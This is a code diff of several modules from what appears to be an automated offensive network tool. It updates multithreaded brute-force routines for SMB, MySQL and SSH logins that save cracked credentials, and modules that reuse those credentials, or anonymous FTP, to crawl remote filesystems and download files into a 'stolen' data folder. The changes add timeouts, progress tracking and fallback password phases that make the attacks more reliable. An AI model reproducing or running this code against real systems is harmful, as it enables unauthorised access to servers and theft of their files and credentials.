stdout, stderr = process.communicate(timeout=timeout)
|
||||
except TimeoutExpired:
|
||||
try:
|
||||
process.kill()
|
||||
except Exception:
|
||||
pass
|
||||
try:
|
||||
stdout, stderr = process.communicate(timeout=2)
|
||||
except Exception:
|
||||
stdout, stderr = b"", b""
|
||||
if b"Sharename" in stdout:
|
||||
logger.info(f"Successful auth for {adresse_ip} with '{user}' using smbclient -L")
|
||||
return self.parse_shares(stdout.decode(errors="ignore"))
|
||||
@@ -150,6 +166,23 @@ class SMBConnector:
|
||||
except Exception as e:
|
||||
logger.error(f"Error executing '{cmd}': {e}")
|
||||
return []
|
||||
finally:
|
||||
if process:
|
||||
try:
|
||||
if process.poll() is None:
|
||||
process.kill()
|
||||
except Exception:
|
||||
pass
|
||||
try:
|
||||
if process.stdout:
|
||||
process.stdout.close()
|
||||
except Exception:
|
||||
pass
|
||||
try:
|
||||
if process.stderr:
|
||||
process.stderr.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
@staticmethod
|
||||
def parse_shares(smbclient_output: str) -> List[str]:
|
||||
@@ -216,10 +249,13 @@ class SMBConnector:
|
||||
continue
|
||||
self.results.append([mac_address, adresse_ip, hostname, share, user, password, port])
|
||||
logger.success(f"Found credentials IP:{adresse_ip} | User:{user} | Share:{share}")
|
||||
self.shared_data.comment_params = {"user": user, "ip": adresse_ip, "port": str(port), "share": shares[0] if shares else ""}
|
||||
self.save_results()
|
||||
self.removeduplicates()
|
||||
success_flag[0] = True
|
||||
finally:
|
||||
if self.progress is not None:
|
||||
self.progress.advance(1)
|
||||
self.queue.task_done()
|
||||
|
||||
# Optional delay between attempts
|
||||
@@ -228,69 +264,82 @@ class SMBConnector:
|
||||
|
||||
|
||||
def run_bruteforce(self, adresse_ip: str, port: int):
|
||||
self.results = []
|
||||
mac_address = self.mac_for_ip(adresse_ip)
|
||||
hostname = self.hostname_for_ip(adresse_ip) or ""
|
||||
|
||||
total_tasks = len(self.users) * len(self.passwords)
|
||||
dict_passwords, fallback_passwords = merged_password_plan(self.shared_data, self.passwords)
|
||||
total_tasks = len(self.users) * (len(dict_passwords) + len(fallback_passwords) + len(dict_passwords))
|
||||
if total_tasks == 0:
|
||||
logger.warning("No users/passwords loaded. Abort.")
|
||||
return False, []
|
||||
|
||||
for user in self.users:
|
||||
for password in self.passwords:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Orchestrator exit signal received, stopping bruteforce task addition.")
|
||||
return False, []
|
||||
self.queue.put((adresse_ip, user, password, mac_address, hostname, port))
|
||||
|
||||
self.progress = ProgressTracker(self.shared_data, total_tasks)
|
||||
success_flag = [False]
|
||||
threads = []
|
||||
thread_count = min(40, max(1, total_tasks))
|
||||
|
||||
for _ in range(thread_count):
|
||||
t = threading.Thread(target=self.worker, args=(success_flag,), daemon=True)
|
||||
t.start()
|
||||
threads.append(t)
|
||||
|
||||
while not self.queue.empty():
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Orchestrator exit signal received, stopping bruteforce.")
|
||||
while not self.queue.empty():
|
||||
try:
|
||||
self.queue.get_nowait()
|
||||
self.queue.task_done()
|
||||
except Exception:
|
||||
break
|
||||
break
|
||||
|
||||
self.queue.join()
|
||||
for t in threads:
|
||||
t.join()
|
||||
|
||||
# Fallback smbclient -L si rien trouvé
|
||||
if not success_flag[0]:
|
||||
logger.info(f"No success via SMBConnection. Trying smbclient -L for {adresse_ip}")
|
||||
def run_primary_phase(passwords):
|
||||
phase_tasks = len(self.users) * len(passwords)
|
||||
if phase_tasks == 0:
|
||||
return
|
||||
for user in self.users:
|
||||
for password in self.passwords:
|
||||
shares = self.smbclient_l(adresse_ip, user, password)
|
||||
if shares:
|
||||
with self.lock:
|
||||
for share in shares:
|
||||
if share in IGNORED_SHARES:
|
||||
continue
|
||||
self.results.append([mac_address, adresse_ip, hostname, share, user, password, port])
|
||||
logger.success(f"(SMB) Found credentials IP:{adresse_ip} | User:{user} | Share:{share} via smbclient -L")
|
||||
self.save_results()
|
||||
self.removeduplicates()
|
||||
success_flag[0] = True
|
||||
if getattr(self.shared_data, "timewait_smb", 0) > 0:
|
||||
time.sleep(self.shared_data.timewait_smb)
|
||||
for password in passwords:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Orchestrator exit signal received, stopping bruteforce task addition.")
|
||||
return
|
||||
self.queue.put((adresse_ip, user, password, mac_address, hostname, port))
|
||||
|
||||
return success_flag[0], self.results
|
||||
threads = []
|
||||
thread_count = min(8, max(1, phase_tasks))
|
||||
for _ in range(thread_count):
|
||||
t = threading.Thread(target=self.worker, args=(success_flag,), daemon=True)
|
||||
t.start()
|
||||
threads.append(t)
|
||||
|
||||
self.queue.join()
|
||||
for t in threads:
|
||||
t.join()
|
||||
|
||||
try:
|
||||
run_primary_phase(dict_passwords)
|
||||
|
||||
if (not success_flag[0]) and fallback_passwords and not self.shared_data.orchestrator_should_exit:
|
||||
logger.info(
|
||||
f"SMB dictionary phase failed on {adresse_ip}:{port}. "
|
||||
f"Starting exhaustive fallback ({len(fallback_passwords)} passwords)."
|
||||
)
|
||||
run_primary_phase(fallback_passwords)
|
||||
|
||||
# Keep smbclient -L fallback on dictionary passwords only (cost control).
|
||||
if not success_flag[0] and not self.shared_data.orchestrator_should_exit:
|
||||
logger.info(f"No success via SMBConnection. Trying smbclient -L for {adresse_ip}")
|
||||
for user in self.users:
|
||||
for password in dict_passwords:
|
||||
shares = self.smbclient_l(adresse_ip, user, password)
|
||||
if self.progress is not None:
|
||||
self.progress.advance(1)
|
||||
if shares:
|
||||
with self.lock:
|
||||
for share in shares:
|
||||
if share in IGNORED_SHARES:
|
||||
continue
|
||||
self.results.append([mac_address, adresse_ip, hostname, share, user, password, port])
|
||||
logger.success(
|
||||
f"(SMB) Found credentials IP:{adresse_ip} | User:{user} | Share:{share} via smbclient -L"
|
||||
)
|
||||
self.save_results()
|
||||
self.removeduplicates()
|
||||
success_flag[0] = True
|
||||
if getattr(self.shared_data, "timewait_smb", 0) > 0:
|
||||
time.sleep(self.shared_data.timewait_smb)
|
||||
|
||||
self.progress.set_complete()
|
||||
return success_flag[0], self.results
|
||||
finally:
|
||||
self.shared_data.bjorn_progress = ""
|
||||
|
||||
# ---------- persistence DB ----------
|
||||
def save_results(self):
|
||||
# insère self.results dans creds (service='smb'), database = <share>
|
||||
# insère self.results dans creds (service='smb'), database = <share>
|
||||
for mac, ip, hostname, share, user, password, port in self.results:
|
||||
try:
|
||||
self.shared_data.db.insert_cred(
|
||||
@@ -315,12 +364,12 @@ class SMBConnector:
|
||||
self.results = []
|
||||
|
||||
def removeduplicates(self):
|
||||
# plus nécessaire avec l'index unique; conservé pour compat.
|
||||
# plus nécessaire avec l'index unique; conservé pour compat.
|
||||
pass
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
# Mode autonome non utilisé en prod; on laisse simple
|
||||
# Mode autonome non utilisé en prod; on laisse simple
|
||||
try:
|
||||
sd = SharedData()
|
||||
smb_bruteforce = SMBBruteforce(sd)
|
||||
@@ -329,3 +378,4 @@ if __name__ == "__main__":
|
||||
except Exception as e:
|
||||
logger.error(f"Error: {e}")
|
||||
exit(1)
|
||||
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
"""
|
||||
sql_bruteforce.py — MySQL bruteforce (DB-backed, no CSV/JSON, no rich)
|
||||
- Cibles: (ip, port) par l’orchestrateur
|
||||
"""
|
||||
sql_bruteforce.py — MySQL bruteforce (DB-backed, no CSV/JSON, no rich)
|
||||
- Cibles: (ip, port) par l’orchestrateur
|
||||
- IP -> (MAC, hostname) via DB.hosts
|
||||
- Connexion sans DB puis SHOW DATABASES; une entrée par DB trouvée
|
||||
- Succès -> DB.creds (service='sql', database=<db>)
|
||||
- Connexion sans DB puis SHOW DATABASES; une entrée par DB trouvée
|
||||
- Succès -> DB.creds (service='sql', database=<db>)
|
||||
- Conserve la logique (pymysql, queue/threads)
|
||||
"""
|
||||
|
||||
@@ -16,6 +16,7 @@ from queue import Queue
|
||||
from typing import List, Dict, Tuple, Optional
|
||||
|
||||
from shared import SharedData
|
||||
from actions.bruteforce_common import ProgressTracker, merged_password_plan
|
||||
from logger import Logger
|
||||
|
||||
logger = Logger(name="sql_bruteforce.py", level=logging.DEBUG)
|
||||
@@ -44,18 +45,20 @@ class SQLBruteforce:
|
||||
return self.sql_bruteforce.run_bruteforce(ip, port)
|
||||
|
||||
def execute(self, ip, port, row, status_key):
|
||||
"""Point d’entrée orchestrateur (retour 'success' / 'failed')."""
|
||||
"""Point d'entrée orchestrateur (retour 'success' / 'failed')."""
|
||||
self.shared_data.bjorn_orch_status = "SQLBruteforce"
|
||||
self.shared_data.comment_params = {"user": "?", "ip": ip, "port": str(port)}
|
||||
success, results = self.bruteforce_sql(ip, port)
|
||||
return 'success' if success else 'failed'
|
||||
|
||||
|
||||
class SQLConnector:
|
||||
"""Gère les tentatives SQL (MySQL), persistance DB, mapping IP→(MAC, Hostname)."""
|
||||
"""Gère les tentatives SQL (MySQL), persistance DB, mapping IP→(MAC, Hostname)."""
|
||||
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
|
||||
# Wordlists inchangées
|
||||
# Wordlists inchangées
|
||||
self.users = self._read_lines(shared_data.users_file)
|
||||
self.passwords = self._read_lines(shared_data.passwords_file)
|
||||
|
||||
@@ -66,6 +69,7 @@ class SQLConnector:
|
||||
self.lock = threading.Lock()
|
||||
self.results: List[List[str]] = [] # [ip, user, password, port, database, mac, hostname]
|
||||
self.queue = Queue()
|
||||
self.progress = None
|
||||
|
||||
# ---------- util fichiers ----------
|
||||
@staticmethod
|
||||
@@ -109,16 +113,20 @@ class SQLConnector:
|
||||
return self._ip_to_identity.get(ip, (None, None))[1]
|
||||
|
||||
# ---------- SQL ----------
|
||||
def sql_connect(self, adresse_ip: str, user: str, password: str):
|
||||
def sql_connect(self, adresse_ip: str, user: str, password: str, port: int = 3306):
|
||||
"""
|
||||
Connexion sans DB puis SHOW DATABASES; retourne (True, [dbs]) ou (False, []).
|
||||
"""
|
||||
timeout = int(getattr(self.shared_data, "sql_connect_timeout_s", 6))
|
||||
try:
|
||||
conn = pymysql.connect(
|
||||
host=adresse_ip,
|
||||
user=user,
|
||||
password=password,
|
||||
port=3306
|
||||
port=port,
|
||||
connect_timeout=timeout,
|
||||
read_timeout=timeout,
|
||||
write_timeout=timeout,
|
||||
)
|
||||
try:
|
||||
with conn.cursor() as cursor:
|
||||
@@ -134,7 +142,7 @@ class SQLConnector:
|
||||
logger.info(f"Available databases: {', '.join(databases)}")
|
||||
return True, databases
|
||||
except pymysql.Error as e:
|
||||
logger.error(f"Failed to connect to {adresse_ip} with user {user}: {e}")
|
||||
logger.debug(f"Failed to connect to {adresse_ip} with user {user}: {e}")
|
||||
return False, []
|
||||
|
||||
# ---------- DB upsert fallback ----------
|
||||
@@ -182,17 +190,20 @@ class SQLConnector:
|
||||
|
||||
adresse_ip, user, password, port = self.queue.get()
|
||||
try:
|
||||
success, databases = self.sql_connect(adresse_ip, user, password)
|
||||
success, databases = self.sql_connect(adresse_ip, user, password, port=port)
|
||||
if success:
|
||||
with self.lock:
|
||||
for dbname in databases:
|
||||
self.results.append([adresse_ip, user, password, port, dbname])
|
||||
logger.success(f"Found credentials IP:{adresse_ip} | User:{user} | Password:{password}")
|
||||
logger.success(f"Databases found: {', '.join(databases)}")
|
||||
self.shared_data.comment_params = {"user": user, "ip": adresse_ip, "port": str(port), "databases": str(len(databases))}
|
||||
self.save_results()
|
||||
self.remove_duplicates()
|
||||
success_flag[0] = True
|
||||
finally:
|
||||
if self.progress is not None:
|
||||
self.progress.advance(1)
|
||||
self.queue.task_done()
|
||||
|
||||
# Optional delay between attempts
|
||||
@@ -201,48 +212,56 @@ class SQLConnector:
|
||||
|
||||
|
||||
def run_bruteforce(self, adresse_ip: str, port: int):
|
||||
total_tasks = len(self.users) * len(self.passwords)
|
||||
self.results = []
|
||||
dict_passwords, fallback_passwords = merged_password_plan(self.shared_data, self.passwords)
|
||||
total_tasks = len(self.users) * (len(dict_passwords) + len(fallback_passwords))
|
||||
if total_tasks == 0:
|
||||
logger.warning("No users/passwords loaded. Abort.")
|
||||
return False, []
|
||||
|
||||
for user in self.users:
|
||||
for password in self.passwords:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Orchestrator exit signal received, stopping bruteforce task addition.")
|
||||
return False, []
|
||||
self.queue.put((adresse_ip, user, password, port))
|
||||
|
||||
self.progress = ProgressTracker(self.shared_data, total_tasks)
|
||||
success_flag = [False]
|
||||
threads = []
|
||||
thread_count = min(40, max(1, total_tasks))
|
||||
|
||||
for _ in range(thread_count):
|
||||
t = threading.Thread(target=self.worker, args=(success_flag,), daemon=True)
|
||||
t.start()
|
||||
threads.append(t)
|
||||
def run_phase(passwords):
|
||||
phase_tasks = len(self.users) * len(passwords)
|
||||
if phase_tasks == 0:
|
||||
return
|
||||
|
||||
while not self.queue.empty():
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Orchestrator exit signal received, stopping bruteforce.")
|
||||
while not self.queue.empty():
|
||||
try:
|
||||
self.queue.get_nowait()
|
||||
self.queue.task_done()
|
||||
except Exception:
|
||||
break
|
||||
break
|
||||
for user in self.users:
|
||||
for password in passwords:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Orchestrator exit signal received, stopping bruteforce task addition.")
|
||||
return
|
||||
self.queue.put((adresse_ip, user, password, port))
|
||||
|
||||
self.queue.join()
|
||||
for t in threads:
|
||||
t.join()
|
||||
threads = []
|
||||
thread_count = min(8, max(1, phase_tasks))
|
||||
for _ in range(thread_count):
|
||||
t = threading.Thread(target=self.worker, args=(success_flag,), daemon=True)
|
||||
t.start()
|
||||
threads.append(t)
|
||||
|
||||
logger.info(f"Bruteforcing complete with success status: {success_flag[0]}")
|
||||
return success_flag[0], self.results
|
||||
self.queue.join()
|
||||
for t in threads:
|
||||
t.join()
|
||||
|
||||
try:
|
||||
run_phase(dict_passwords)
|
||||
if (not success_flag[0]) and fallback_passwords and not self.shared_data.orchestrator_should_exit:
|
||||
logger.info(
|
||||
f"SQL dictionary phase failed on {adresse_ip}:{port}. "
|
||||
f"Starting exhaustive fallback ({len(fallback_passwords)} passwords)."
|
||||
)
|
||||
run_phase(fallback_passwords)
|
||||
self.progress.set_complete()
|
||||
logger.info(f"Bruteforcing complete with success status: {success_flag[0]}")
|
||||
return success_flag[0], self.results
|
||||
finally:
|
||||
self.shared_data.bjorn_progress = ""
|
||||
|
||||
# ---------- persistence DB ----------
|
||||
def save_results(self):
|
||||
# pour chaque DB trouvée, créer/mettre à jour une ligne dans creds (service='sql', database=<dbname>)
|
||||
# pour chaque DB trouvée, créer/mettre à jour une ligne dans creds (service='sql', database=<dbname>)
|
||||
for ip, user, password, port, dbname in self.results:
|
||||
mac = self.mac_for_ip(ip)
|
||||
hostname = self.hostname_for_ip(ip) or ""
|
||||
@@ -269,7 +288,7 @@ class SQLConnector:
|
||||
self.results = []
|
||||
|
||||
def remove_duplicates(self):
|
||||
# inutile avec l’index unique; conservé pour compat.
|
||||
# inutile avec l’index unique; conservé pour compat.
|
||||
pass
|
||||
|
||||
|
||||
@@ -282,3 +301,4 @@ if __name__ == "__main__":
|
||||
except Exception as e:
|
||||
logger.error(f"Error: {e}")
|
||||
exit(1)
|
||||
|
||||
|
||||
@@ -17,9 +17,11 @@ import socket
|
||||
import threading
|
||||
import logging
|
||||
import time
|
||||
from datetime import datetime
|
||||
import datetime
|
||||
|
||||
from queue import Queue
|
||||
from shared import SharedData
|
||||
from actions.bruteforce_common import ProgressTracker, merged_password_plan
|
||||
from logger import Logger
|
||||
|
||||
# Configure the logger
|
||||
@@ -38,7 +40,7 @@ b_port = 22
|
||||
b_service = '["ssh"]'
|
||||
b_trigger = 'on_any:["on_service:ssh","on_new_port:22"]'
|
||||
b_parent = None
|
||||
b_priority = 70
|
||||
b_priority = 70 # tu peux ajuster la priorité si besoin
|
||||
b_cooldown = 1800 # 30 minutes entre deux runs
|
||||
b_rate_limit = '3/86400' # 3 fois par jour max
|
||||
|
||||
@@ -83,6 +85,7 @@ class SSHConnector:
|
||||
self.lock = threading.Lock()
|
||||
self.results = [] # List of tuples (mac, ip, hostname, user, password, port)
|
||||
self.queue = Queue()
|
||||
self.progress = None
|
||||
|
||||
# ---- Mapping helpers (DB) ------------------------------------------------
|
||||
|
||||
@@ -134,6 +137,7 @@ class SSHConnector:
|
||||
"""Attempt to connect to SSH using (user, password)."""
|
||||
ssh = paramiko.SSHClient()
|
||||
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||
timeout = float(getattr(self.shared_data, "ssh_connect_timeout_s", timeout))
|
||||
|
||||
try:
|
||||
ssh.connect(
|
||||
@@ -244,9 +248,12 @@ class SSHConnector:
|
||||
|
||||
self.results.append([mac_address, adresse_ip, hostname, user, password, port])
|
||||
logger.success(f"Found credentials IP: {adresse_ip} | User: {user} | Password: {password}")
|
||||
self.shared_data.comment_params = {"user": user, "ip": adresse_ip, "port": str(port)}
|
||||
success_flag[0] = True
|
||||
|
||||
finally:
|
||||
if self.progress is not None:
|
||||
self.progress.advance(1)
|
||||
self.queue.task_done()
|
||||
|
||||
# Optional delay between attempts
|
||||
@@ -260,48 +267,53 @@ class SSHConnector:
|
||||
Called by the orchestrator with a single IP + port.
|
||||
Builds the queue (users x passwords) and launches threads.
|
||||
"""
|
||||
self.results = []
|
||||
mac_address = self.mac_for_ip(adresse_ip)
|
||||
hostname = self.hostname_for_ip(adresse_ip) or ""
|
||||
|
||||
total_tasks = len(self.users) * len(self.passwords)
|
||||
dict_passwords, fallback_passwords = merged_password_plan(self.shared_data, self.passwords)
|
||||
total_tasks = len(self.users) * (len(dict_passwords) + len(fallback_passwords))
|
||||
if total_tasks == 0:
|
||||
logger.warning("No users/passwords loaded. Abort.")
|
||||
return False, []
|
||||
|
||||
for user in self.users:
|
||||
for password in self.passwords:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Orchestrator exit signal received, stopping bruteforce task addition.")
|
||||
return False, []
|
||||
self.queue.put((adresse_ip, user, password, mac_address, hostname, port))
|
||||
|
||||
self.progress = ProgressTracker(self.shared_data, total_tasks)
|
||||
success_flag = [False]
|
||||
threads = []
|
||||
thread_count = min(40, max(1, total_tasks))
|
||||
|
||||
for _ in range(thread_count):
|
||||
t = threading.Thread(target=self.worker, args=(success_flag,), daemon=True)
|
||||
t.start()
|
||||
threads.append(t)
|
||||
def run_phase(passwords):
|
||||
phase_tasks = len(self.users) * len(passwords)
|
||||
if phase_tasks == 0:
|
||||
return
|
||||
|
||||
while not self.queue.empty():
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Orchestrator exit signal received, stopping bruteforce.")
|
||||
# clear queue
|
||||
while not self.queue.empty():
|
||||
try:
|
||||
self.queue.get_nowait()
|
||||
self.queue.task_done()
|
||||
except Exception:
|
||||
break
|
||||
break
|
||||
for user in self.users:
|
||||
for password in passwords:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Orchestrator exit signal received, stopping bruteforce task addition.")
|
||||
return
|
||||
self.queue.put((adresse_ip, user, password, mac_address, hostname, port))
|
||||
|
||||
self.queue.join()
|
||||
threads = []
|
||||
thread_count = min(8, max(1, phase_tasks))
|
||||
for _ in range(thread_count):
|
||||
t = threading.Thread(target=self.worker, args=(success_flag,), daemon=True)
|
||||
t.start()
|
||||
threads.append(t)
|
||||
self.queue.join()
|
||||
for t in threads:
|
||||
t.join()
|
||||
|
||||
for t in threads:
|
||||
t.join()
|
||||
|
||||
return success_flag[0], self.results # Return True and the list of successes if any
|
||||
try:
|
||||
run_phase(dict_passwords)
|
||||
if (not success_flag[0]) and fallback_passwords and not self.shared_data.orchestrator_should_exit:
|
||||
logger.info(
|
||||
f"SSH dictionary phase failed on {adresse_ip}:{port}. "
|
||||
f"Starting exhaustive fallback ({len(fallback_passwords)} passwords)."
|
||||
)
|
||||
run_phase(fallback_passwords)
|
||||
self.progress.set_complete()
|
||||
return success_flag[0], self.results
|
||||
finally:
|
||||
self.shared_data.bjorn_progress = ""
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
@@ -108,20 +108,28 @@ class StealFilesFTP:
|
||||
return out
|
||||
|
||||
# -------- FTP helpers --------
|
||||
def connect_ftp(self, ip: str, username: str, password: str) -> Optional[FTP]:
|
||||
# Max file size to download (10 MB) — protects RPi Zero RAM
|
||||
_MAX_FILE_SIZE = 10 * 1024 * 1024
|
||||
# Max recursion depth for directory traversal (avoids symlink loops)
|
||||
_MAX_DEPTH = 5
|
||||
|
||||
def connect_ftp(self, ip: str, username: str, password: str, port: int = b_port) -> Optional[FTP]:
|
||||
try:
|
||||
ftp = FTP()
|
||||
ftp.connect(ip, b_port, timeout=10)
|
||||
ftp.connect(ip, port, timeout=10)
|
||||
ftp.login(user=username, passwd=password)
|
||||
self.ftp_connected = True
|
||||
logger.info(f"Connected to {ip} via FTP as {username}")
|
||||
logger.info(f"Connected to {ip}:{port} via FTP as {username}")
|
||||
return ftp
|
||||
except Exception as e:
|
||||
logger.info(f"FTP connect failed {ip} {username}:{password}: {e}")
|
||||
logger.info(f"FTP connect failed {ip}:{port} {username}: {e}")
|
||||
return None
|
||||
|
||||
def find_files(self, ftp: FTP, dir_path: str) -> List[str]:
|
||||
def find_files(self, ftp: FTP, dir_path: str, depth: int = 0) -> List[str]:
|
||||
files: List[str] = []
|
||||
if depth > self._MAX_DEPTH:
|
||||
logger.debug(f"Max recursion depth reached at {dir_path}")
|
||||
return []
|
||||
try:
|
||||
if self.shared_data.orchestrator_should_exit or self.stop_execution:
|
||||
logger.info("File search interrupted.")
|
||||
@@ -136,7 +144,7 @@ class StealFilesFTP:
|
||||
|
||||
try:
|
||||
ftp.cwd(item) # if ok -> directory
|
||||
files.extend(self.find_files(ftp, os.path.join(dir_path, item)))
|
||||
files.extend(self.find_files(ftp, os.path.join(dir_path, item), depth + 1))
|
||||
ftp.cwd('..')
|
||||
except Exception:
|
||||
# not a dir => file candidate
|
||||
@@ -146,11 +154,19 @@ class StealFilesFTP:
|
||||
logger.info(f"Found {len(files)} matching files in {dir_path} on FTP")
|
||||
except Exception as e:
|
||||
logger.error(f"FTP path error {dir_path}: {e}")
|
||||
raise
|
||||
return files
|
||||
|
||||
def steal_file(self, ftp: FTP, remote_file: str, base_dir: str) -> None:
|
||||
try:
|
||||
# Check file size before downloading
|
||||
try:
|
||||
size = ftp.size(remote_file)
|
||||
if size is not None and size > self._MAX_FILE_SIZE:
|
||||
logger.info(f"Skipping {remote_file} ({size} bytes > {self._MAX_FILE_SIZE} limit)")
|
||||
return
|
||||
except Exception:
|
||||
pass # SIZE not supported, try download anyway
|
||||
|
||||
local_file_path = os.path.join(base_dir, os.path.relpath(remote_file, '/'))
|
||||
os.makedirs(os.path.dirname(local_file_path), exist_ok=True)
|
||||
with open(local_file_path, 'wb') as f:
|
||||
@@ -161,6 +177,7 @@ class StealFilesFTP:
|
||||
|
||||
# -------- Orchestrator entry --------
|
||||
def execute(self, ip: str, port: str, row: Dict, status_key: str) -> str:
|
||||
timer = None
|
||||
try:
|
||||
self.shared_data.bjorn_orch_status = b_class
|
||||
try:
|
||||
@@ -168,11 +185,14 @@ class StealFilesFTP:
|
||||
except Exception:
|
||||
port_i = b_port
|
||||
|
||||
hostname = self.hostname_for_ip(ip) or ""
|
||||
self.shared_data.comment_params = {"ip": ip, "port": str(port_i), "hostname": hostname}
|
||||
|
||||
creds = self._get_creds_for_target(ip, port_i)
|
||||
logger.info(f"Found {len(creds)} FTP credentials in DB for {ip}")
|
||||
|
||||
def try_anonymous() -> Optional[FTP]:
|
||||
return self.connect_ftp(ip, 'anonymous', '')
|
||||
return self.connect_ftp(ip, 'anonymous', '', port=port_i)
|
||||
|
||||
if not creds and not try_anonymous():
|
||||
logger.error(f"No FTP credentials for {ip}. Skipping.")
|
||||
@@ -192,9 +212,11 @@ class StealFilesFTP:
|
||||
# Anonymous first
|
||||
ftp = try_anonymous()
|
||||
if ftp:
|
||||
self.shared_data.comment_params = {"user": "anonymous", "ip": ip, "port": str(port_i), "hostname": hostname}
|
||||
files = self.find_files(ftp, '/')
|
||||
local_dir = os.path.join(self.shared_data.data_stolen_dir, f"ftp/{mac}_{ip}/anonymous")
|
||||
if files:
|
||||
self.shared_data.comment_params = {"user": "anonymous", "ip": ip, "port": str(port_i), "hostname": hostname, "files": str(len(files))}
|
||||
for remote in files:
|
||||
if self.stop_execution or self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Execution interrupted.")
|
||||
@@ -207,7 +229,6 @@ class StealFilesFTP:
|
||||
except Exception:
|
||||
pass
|
||||
if success:
|
||||
timer.cancel()
|
||||
return 'success'
|
||||
|
||||
# Authenticated creds
|
||||
@@ -216,13 +237,15 @@ class StealFilesFTP:
|
||||
logger.info("Execution interrupted.")
|
||||
break
|
||||
try:
|
||||
logger.info(f"Trying FTP {username}:{password} @ {ip}")
|
||||
ftp = self.connect_ftp(ip, username, password)
|
||||
self.shared_data.comment_params = {"user": username, "ip": ip, "port": str(port_i), "hostname": hostname}
|
||||
logger.info(f"Trying FTP {username} @ {ip}:{port_i}")
|
||||
ftp = self.connect_ftp(ip, username, password, port=port_i)
|
||||
if not ftp:
|
||||
continue
|
||||
files = self.find_files(ftp, '/')
|
||||
local_dir = os.path.join(self.shared_data.data_stolen_dir, f"ftp/{mac}_{ip}/{username}")
|
||||
if files:
|
||||
self.shared_data.comment_params = {"user": username, "ip": ip, "port": str(port_i), "hostname": hostname, "files": str(len(files))}
|
||||
for remote in files:
|
||||
if self.stop_execution or self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Execution interrupted.")
|
||||
@@ -235,14 +258,15 @@ class StealFilesFTP:
|
||||
except Exception:
|
||||
pass
|
||||
if success:
|
||||
timer.cancel()
|
||||
return 'success'
|
||||
except Exception as e:
|
||||
logger.error(f"FTP loot error {ip} {username}: {e}")
|
||||
|
||||
timer.cancel()
|
||||
return 'success' if success else 'failed'
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
|
||||
return 'failed'
|
||||
finally:
|
||||
if timer:
|
||||
timer.cancel()
|
||||
|
||||
@@ -218,23 +218,41 @@ class StealFilesSSH:
|
||||
logger.info(f"Found {len(matches)} matching files in {dir_path}")
|
||||
return matches
|
||||
|
||||
# Max file size to download (10 MB) — protects RPi Zero RAM
|
||||
_MAX_FILE_SIZE = 10 * 1024 * 1024
|
||||
|
||||
def steal_file(self, ssh: paramiko.SSHClient, remote_file: str, local_dir: str) -> None:
|
||||
"""
|
||||
Download a single remote file into the given local dir, preserving subdirs.
|
||||
Skips files larger than _MAX_FILE_SIZE to protect RPi Zero memory.
|
||||
"""
|
||||
sftp = ssh.open_sftp()
|
||||
self.sftp_connected = True # first time we open SFTP, mark as connected
|
||||
|
||||
# Preserve partial directory structure under local_dir
|
||||
remote_dir = os.path.dirname(remote_file)
|
||||
local_file_dir = os.path.join(local_dir, os.path.relpath(remote_dir, '/'))
|
||||
os.makedirs(local_file_dir, exist_ok=True)
|
||||
try:
|
||||
# Check file size before downloading
|
||||
try:
|
||||
st = sftp.stat(remote_file)
|
||||
if st.st_size and st.st_size > self._MAX_FILE_SIZE:
|
||||
logger.info(f"Skipping {remote_file} ({st.st_size} bytes > {self._MAX_FILE_SIZE} limit)")
|
||||
return
|
||||
except Exception:
|
||||
pass # stat failed, try download anyway
|
||||
|
||||
local_file_path = os.path.join(local_file_dir, os.path.basename(remote_file))
|
||||
sftp.get(remote_file, local_file_path)
|
||||
sftp.close()
|
||||
# Preserve partial directory structure under local_dir
|
||||
remote_dir = os.path.dirname(remote_file)
|
||||
local_file_dir = os.path.join(local_dir, os.path.relpath(remote_dir, '/'))
|
||||
os.makedirs(local_file_dir, exist_ok=True)
|
||||
|
||||
logger.success(f"Downloaded: {remote_file} -> {local_file_path}")
|
||||
local_file_path = os.path.join(local_file_dir, os.path.basename(remote_file))
|
||||
sftp.get(remote_file, local_file_path)
|
||||
|
||||
logger.success(f"Downloaded: {remote_file} -> {local_file_path}")
|
||||
finally:
|
||||
try:
|
||||
sftp.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# --------------------- Orchestrator entrypoint ---------------------
|
||||
|
||||
@@ -247,6 +265,7 @@ class StealFilesSSH:
|
||||
- status_key: action name (b_class)
|
||||
Returns 'success' if at least one file stolen; else 'failed'.
|
||||
"""
|
||||
timer = None
|
||||
try:
|
||||
self.shared_data.bjorn_orch_status = b_class
|
||||
|
||||
@@ -256,6 +275,9 @@ class StealFilesSSH:
|
||||
except Exception:
|
||||
port_i = b_port
|
||||
|
||||
hostname = self.hostname_for_ip(ip) or ""
|
||||
self.shared_data.comment_params = {"ip": ip, "port": str(port_i), "hostname": hostname}
|
||||
|
||||
creds = self._get_creds_for_target(ip, port_i)
|
||||
logger.info(f"Found {len(creds)} SSH credentials in DB for {ip}")
|
||||
if not creds:
|
||||
@@ -283,12 +305,14 @@ class StealFilesSSH:
|
||||
break
|
||||
|
||||
try:
|
||||
logger.info(f"Trying credential {username}:{password} for {ip}")
|
||||
self.shared_data.comment_params = {"user": username, "ip": ip, "port": str(port_i), "hostname": hostname}
|
||||
logger.info(f"Trying credential {username} for {ip}")
|
||||
ssh = self.connect_ssh(ip, username, password, port=port_i)
|
||||
# Search from root; filtered by config
|
||||
files = self.find_files(ssh, '/')
|
||||
|
||||
if files:
|
||||
